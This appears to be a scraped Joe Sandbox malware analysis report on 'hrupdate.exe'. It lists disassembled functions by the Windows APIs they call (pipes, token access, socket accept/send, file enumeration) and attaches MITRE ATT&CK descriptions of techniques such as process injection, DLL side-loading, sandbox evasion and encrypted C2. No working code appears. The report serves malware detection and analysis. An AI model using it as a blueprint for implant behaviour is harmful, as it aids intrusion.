Instruction Fuzzy Hash: E2112672D046107AFF213BB65C84DBF66BCCB93764F10001DF804A63C1FEAAAC905965

Function 04697759 Relevance: 6.1, APIs: 4, Instructions: 78synchronizationpipeCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0469776C
CreatePipe.KERNEL32(?,?,?,00100000), ref: 046977A2
GetStartupInfoA.KERNEL32(?), ref: 046977AC
WaitForSingleObject.KERNEL32(?,00002710), ref: 046977F5

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: CreateInfoObjectPipeSingleStartupWait_memset
String ID:
API String ID: 468459245-0
Opcode ID: 4e23a65a88d0c17ff32fd43521dfb58b21425a377d7f84ab50a36ebdf0e91b15
Instruction ID: 0b8cf1649c61694c5030e282958abea93ea063d5842a6cb9bcf2bbbebb906a62
Opcode Fuzzy Hash: 4e23a65a88d0c17ff32fd43521dfb58b21425a377d7f84ab50a36ebdf0e91b15
Instruction Fuzzy Hash: 0F214A72D1011CFADF00DFA8CD45ADEBBBDFF09714F10012AE914E6191E7B1AA058BA1

Function 046942FF Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 04694314

Part of subcall function 046AEA1B: __FF_MSGBANNER.LIBCMT ref: 046AEA3E
Part of subcall function 046AEA1B: __NMSG_WRITE.LIBCMT ref: 046AEA45
Part of subcall function 046AEA1B: RtlAllocateHeap.NTDLL(00000000,?), ref: 046AEA92

Part of subcall function 04699A21: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000,00002000,?,046942B4,00000000,?,00002000,?,00002000,?,?,?,00000000), ref: 04699A33

_memset.LIBCMT ref: 04694369
_memset.LIBCMT ref: 04694378
_memset.LIBCMT ref: 0469438F

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _memset$AllocateEnvironmentExpandHeapStrings_malloc
String ID:
API String ID: 2041733451-0
Opcode ID: c43b576d9f5c09fbac907e10db158cab893dd663d8662aa8bb89cae6441a7a17
Instruction ID: 64a66d4e954d4c25f5947fe828291f826eed227f83299c77a42878cd49612d4f
Opcode Fuzzy Hash: c43b576d9f5c09fbac907e10db158cab893dd663d8662aa8bb89cae6441a7a17
Instruction Fuzzy Hash: FE110871608141BADF109F76CC80BB6BBADDF52168F1400A8E959D3342F762BD16C7A4

Function 046A195D Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 046A19BF
_memset.LIBCMT ref: 046A19D3
_memset.LIBCMT ref: 046A19E4
_memset.LIBCMT ref: 046A19ED

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 6379b7d325f3b7b15815bf8a4f4040e5a6e7b58cd8fb550da3ae19d7cd86721b
Instruction ID: a45a8e428444d06dcf13994070e8d96b99e8346b0a8650106d8cefc42501834e
Opcode Fuzzy Hash: 6379b7d325f3b7b15815bf8a4f4040e5a6e7b58cd8fb550da3ae19d7cd86721b
Instruction Fuzzy Hash: 2101C8725052147AEB10AEA19CC0EEF3A9DEF062A9F004079FA4996101F679BC51CBB6

Function 04695B89 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 04695BA3

Part of subcall function 046AEA1B: __FF_MSGBANNER.LIBCMT ref: 046AEA3E
Part of subcall function 046AEA1B: __NMSG_WRITE.LIBCMT ref: 046AEA45
Part of subcall function 046AEA1B: RtlAllocateHeap.NTDLL(00000000,?), ref: 046AEA92

htonl.WS2_32(?), ref: 04695BB2
htonl.WS2_32(?), ref: 04695BBC
_memset.LIBCMT ref: 04695BDE

Part of subcall function 046AE93E: __lock.LIBCMT ref: 046AE95C
Part of subcall function 046AE93E: ___sbh_find_block.LIBCMT ref: 046AE967
Part of subcall function 046AE93E: ___sbh_free_block.LIBCMT ref: 046AE976
Part of subcall function 046AE93E: HeapFree.KERNEL32(00000000,?,046C95B0,0000000C,046B1056,00000000,046C9760,0000000C,046B1090,?,?,?,046BC35D,00000004,046C9A70,0000000C), ref: 046AE9A6
Part of subcall function 046AE93E: GetLastError.KERNEL32(?,046BC35D,00000004,046C9A70,0000000C,046B7A28,?,?,00000000,00000000,00000000,?,046B05CF,00000001,00000214), ref: 046AE9B7

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: Heaphtonl$AllocateErrorFreeLast___sbh_find_block___sbh_free_block__lock_malloc_memset
String ID:
API String ID: 2558508226-0
Opcode ID: 1b62cabab4c8febf8d9223634d15d3b0790e9204c53f931a6bf1217cd5c6d3b2
Instruction ID: fa674226caf80c6fc16feb34c6ee9bd40178d934daf94e80407def3958091164
Opcode Fuzzy Hash: 1b62cabab4c8febf8d9223634d15d3b0790e9204c53f931a6bf1217cd5c6d3b2
Instruction Fuzzy Hash: 6B018476501706BAEF126FA1CC40DDF7BACEF41658B00801DF9496A110FB71BE5197E9

Function 046A50FD Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

_clock.LIBCMT ref: 046A5119
_clock.LIBCMT ref: 046A5127
_clock.LIBCMT ref: 046A5131
_clock.LIBCMT ref: 046A513F

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _clock
String ID:
API String ID: 876827150-0
Opcode ID: b758daacf63da5c7291ca6bd382674ea900c029546b509ca3099d54fa5c54ebe
Instruction ID: b536b47f83ebeca139513601b910ce0ad54c4f80c2e8885bdd66baf70da14cfc
Opcode Fuzzy Hash: b758daacf63da5c7291ca6bd382674ea900c029546b509ca3099d54fa5c54ebe
Instruction Fuzzy Hash: FB012D71D00A19FE8B10DFE8C4C45EDBBB4EB10798F5440AED442A7200F6706E51CFA1

Function 046A41F6 Relevance: 6.0, APIs: 4, Instructions: 41threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 046A4203
OpenThreadToken.ADVAPI32(00000000), ref: 046A420A
GetCurrentProcess.KERNEL32(00000008,?), ref: 046A422D
OpenProcessToken.ADVAPI32(00000000), ref: 046A4234

Part of subcall function 046A417B: __snprintf.LIBCMT ref: 046A41C8

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: CurrentOpenProcessThreadToken$__snprintf
String ID:
API String ID: 3849403947-0
Opcode ID: 811c913ff2aacd60eda1caa212d1543ff3587d46bae3534bf64f9052f09dce7c
Instruction ID: 1c780c36be442713cb5cef4af0e6cafccd3a57503fa4fc96f56432a7b9ae64af
Opcode Fuzzy Hash: 811c913ff2aacd60eda1caa212d1543ff3587d46bae3534bf64f9052f09dce7c
Instruction Fuzzy Hash: 12F06D71604604BAFB10ABB4EC0ABB9766CEB0464DF10405AB10190091FFE9AD61AE25

Function 046A4F40 Relevance: 6.0, APIs: 4, Instructions: 40networkCOMMON

Download Yara Rule

APIs

accept.WS2_32(?,00000000,00000000), ref: 046A4F4E
send.WS2_32(00000000,?,?,00000000), ref: 046A4F7B
send.WS2_32(00000000,?,?,00000000), ref: 046A4F89
closesocket.WS2_32(00000000), ref: 046A4F94

Part of subcall function 046A4ED0: closesocket.WS2_32(?), ref: 046A4ED2

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: closesocketsend$accept
String ID:
API String ID: 2168303407-0
Opcode ID: de9a7ed50722b3ef9832788215c3f209ea7d03c47be8d987e5d9801edb8f290d
Instruction ID: 24dbc339ee5db58a17d8a27001e1dbefeca6e1729426bf78b5654cbbd3c67f67
Opcode Fuzzy Hash: de9a7ed50722b3ef9832788215c3f209ea7d03c47be8d987e5d9801edb8f290d
Instruction Fuzzy Hash: A7F0BB32100B047AE7303BB4FD40F56B7ADFF48738F10591DF25655491AAA5BC605FA4

Function 0469DFCA Relevance: 6.0, APIs: 4, Instructions: 39memorythreadCOMMON

Download Yara Rule

APIs

InitializeProcThreadAttributeList.KERNELBASE(00000000,0469E06D,00000000,00000000), ref: 0469DFE5
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,0469E06D,00000000), ref: 0469DFEB
RtlAllocateHeap.NTDLL(00000000,?,?), ref: 0469DFF2
InitializeProcThreadAttributeList.KERNELBASE(00000000,0469E06D,00000000,00000000), ref: 0469E007

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: AttributeHeapInitializeListProcThread$AllocateProcess
String ID:
API String ID: 3402284281-0
Opcode ID: 23baa818a593eab4c96c340ab917891412a8717836ba3ea1c21e5ee44075a56d
Instruction ID: ae37441f6fc882850290a90b4717dbf6bff3ed0e2d7e616d94ee8b94746a0a59
Opcode Fuzzy Hash: 23baa818a593eab4c96c340ab917891412a8717836ba3ea1c21e5ee44075a56d
Instruction Fuzzy Hash: 58F05E76A00118BB8B11DAE6DD88CEF7EBCDA896947100025FA01D3101F6769E51EB70

Function 0469BE8B Relevance: 6.0, APIs: 4, Instructions: 35sleeppipeCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0469BE9D
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,?,?,?,0469A5FC,?,00000000), ref: 0469BEB1
Sleep.KERNEL32(000001F4,?,?,?,0469A5FC,?,00000000), ref: 0469BEC5
GetTickCount.KERNEL32 ref: 0469BECB

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: CountTick$NamedPeekPipeSleep
String ID:
API String ID: 1593283408-0
Opcode ID: 4fb69b883e89eee85d6364cb264c64ab2f379639f3ea722f44e324eb02889ccf
Instruction ID: 85ef573e46af014050e00bcb8e7cdbacda9d9850347c8090b25c265981ff9122
Opcode Fuzzy Hash: 4fb69b883e89eee85d6364cb264c64ab2f379639f3ea722f44e324eb02889ccf
Instruction Fuzzy Hash: 0BF01C71A0011EBFAF105B95ED848EFBBACEA85AD57144476E601DA101F6F4BD418A60

Function 046B744A Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 046B7456

Part of subcall function 046B061D: __getptd_noexit.LIBCMT ref: 046B0620
Part of subcall function 046B061D: __amsg_exit.LIBCMT ref: 046B062D

__getptd.LIBCMT ref: 046B746D
__amsg_exit.LIBCMT ref: 046B747B
__lock.LIBCMT ref: 046B748B

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: f65c208acdbb131fdbdfb307c1b08c771e7fd23bb4c298e414b26217a80ea344
Instruction ID: 6156a1b4e0f735e4efc16f6ee1f5178679c3fbb1ee0d162b70e7fe464ef25f59
Opcode Fuzzy Hash: f65c208acdbb131fdbdfb307c1b08c771e7fd23bb4c298e414b26217a80ea344
Instruction Fuzzy Hash: 3FF01D31A007149AE720AB6494157D97BA0AB81756F04464ED4D0A7680FB647981CBDA

Function 046A23B3 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 046A244F

Strings

l.dl, xrefs: 046A2419
ntdl, xrefs: 046A2408

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _memset
String ID: l.dl$ntdl
API String ID: 2102423945-1236859653
Opcode ID: 69ba40200b6beec9a905c53d2e840a4474f04e105710daa9c43c764fd694520b
Instruction ID: a0fce7f75b5f64261c8cd2b2d34f9f81c61cd70da665010e4f5079f82d1416e0
Opcode Fuzzy Hash: 69ba40200b6beec9a905c53d2e840a4474f04e105710daa9c43c764fd694520b
Instruction Fuzzy Hash: 42711374A40609DFCB24CF98C590AACB7F1FF58315B2584AAD904AB355E734EEA1CF90

Function 046A2B72 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 90COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,046DA64C,00000000,?,?,?,0469611D,046DA64C,00000000,00008000,000002F0,?,00000000,0469632B,?,00000001), ref: 046A2BFD

Part of subcall function 0469A042: _malloc.LIBCMT ref: 0469A048

Part of subcall function 0469A042: _malloc.LIBCMT ref: 0469A09F

Part of subcall function 04699F1A: _malloc.LIBCMT ref: 04699F5B
Part of subcall function 04699F1A: _memset.LIBCMT ref: 04699F6C
Part of subcall function 04699F1A: _memset.LIBCMT ref: 04699FB7
Part of subcall function 04699F1A: _memset.LIBCMT ref: 0469A00C

Strings

p,v, xrefs: 046A2BE2, 046A2C0F

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _malloc_memset$CurrentProcess
String ID: p,v
API String ID: 246607088-381846232
Opcode ID: 6298a64283236a39d42617a9e0c17504cd898e500c85d4987d59fe42d182498d
Instruction ID: 1debe528673e44e6eec212864524e60a29cb66494d7d49918ad85f99192230be
Opcode Fuzzy Hash: 6298a64283236a39d42617a9e0c17504cd898e500c85d4987d59fe42d182498d
Instruction Fuzzy Hash: 7221A0B5981204BBDB68AF90DC94CAB3B6EEB15354B005499F40A92340F679AD25CFA0

Function 00672DBE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 006730B7
___raise_securityfailure.LIBCMT ref: 0067319E

Strings

0bg, xrefs: 00673199

Memory Dump Source

Source File: 00000000.00000002.3896617863.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.3896582194.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896648026.0000000000674000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896669818.0000000000676000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000677000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_hrupdate.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 0bg
API String ID: 3761405300-1597489500
Opcode ID: 65f2a0ad1142d573d5d435e0e34aa4b7de559e6363e9e3d6a902099df147114c
Instruction ID: 3b522c6f46672df64b3ace6561743bb64ebb24edf2a49adb52286be9fc414c92
Opcode Fuzzy Hash: 65f2a0ad1142d573d5d435e0e34aa4b7de559e6363e9e3d6a902099df147114c
Instruction Fuzzy Hash: 2B21D3B4511B00DED758CF25E9856507BE6FB48724F10B02AF50D8B3A2E3B15AC4CF49

Function 046A0F0A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

__snprintf.LIBCMT ref: 046A0F1E
__snprintf.LIBCMT ref: 046A0F58

Strings

%c%c%c%c, xrefs: 046A0F4D

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: __snprintf
String ID: %c%c%c%c
API String ID: 2633826957-103593547
Opcode ID: b9c91b603de30d91d624f8b50c892411ef86fcd67ee4733386d96d2536c9ed20
Instruction ID: 041989ac2abcc2aa8294bda0d3c7ec53f4c10ea14d564cfa499b6d83586e0e88
Opcode Fuzzy Hash: b9c91b603de30d91d624f8b50c892411ef86fcd67ee4733386d96d2536c9ed20
Instruction Fuzzy Hash: 6FF0C26184064E6EDB05EBA4CC8EEFFBFBC8B08205F000085AA50D2002F625E7598FA0

Function 0469F507 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0469F512

Part of subcall function 046AEA1B: __FF_MSGBANNER.LIBCMT ref: 046AEA3E
Part of subcall function 046AEA1B: __NMSG_WRITE.LIBCMT ref: 046AEA45
Part of subcall function 046AEA1B: RtlAllocateHeap.NTDLL(00000000,?), ref: 046AEA92

__snprintf.LIBCMT ref: 0469F526

Part of subcall function 0469F544: _malloc.LIBCMT ref: 0469F551
Part of subcall function 0469F544: __snprintf.LIBCMT ref: 0469F562
Part of subcall function 0469F544: FindFirstFileA.KERNEL32(00000000,046996DC,?,0469F633,046996DC,?,Function_0000565A), ref: 0469F56F
Part of subcall function 0469F544: _malloc.LIBCMT ref: 0469F5AE
Part of subcall function 0469F544: __snprintf.LIBCMT ref: 0469F5C3
Part of subcall function 0469F544: FindNextFileA.KERNEL32(000000FF,046996DC,?,?,?,?,?,?,?), ref: 0469F5F0
Part of subcall function 0469F544: FindClose.KERNEL32(000000FF,?,?,?,?,?,?,?), ref: 0469F5FD

Part of subcall function 046AE93E: __lock.LIBCMT ref: 046AE95C
Part of subcall function 046AE93E: ___sbh_find_block.LIBCMT ref: 046AE967
Part of subcall function 046AE93E: ___sbh_free_block.LIBCMT ref: 046AE976
Part of subcall function 046AE93E: HeapFree.KERNEL32(00000000,?,046C95B0,0000000C,046B1056,00000000,046C9760,0000000C,046B1090,?,?,?,046BC35D,00000004,046C9A70,0000000C), ref: 046AE9A6
Part of subcall function 046AE93E: GetLastError.KERNEL32(?,046BC35D,00000004,046C9A70,0000000C,046B7A28,?,?,00000000,00000000,00000000,?,046B05CF,00000001,00000214), ref: 046AE9B7

Strings

%s\%s, xrefs: 0469F51F

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: Find__snprintf_malloc$FileHeap$AllocateCloseErrorFirstFreeLastNext___sbh_find_block___sbh_free_block__lock
String ID: %s\%s
API String ID: 1254174322-4073750446
Opcode ID: 867e706bbd33ec37d0863ad4e5216c300ecd3ff44a9047f62de90f8c822bfc28
Instruction ID: 541c6516642796fa3209e892e8417f9491fbc19b922cfe510b4ec3f2579425b0
Opcode Fuzzy Hash: 867e706bbd33ec37d0863ad4e5216c300ecd3ff44a9047f62de90f8c822bfc28
Instruction Fuzzy Hash: 27E08C32481518779F122E92DC00DBF7A2DEF865A4B00402DFE0C61110AA266D316EBA

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report hrupdate.exe

Overview

General Information

Detection

Signatures
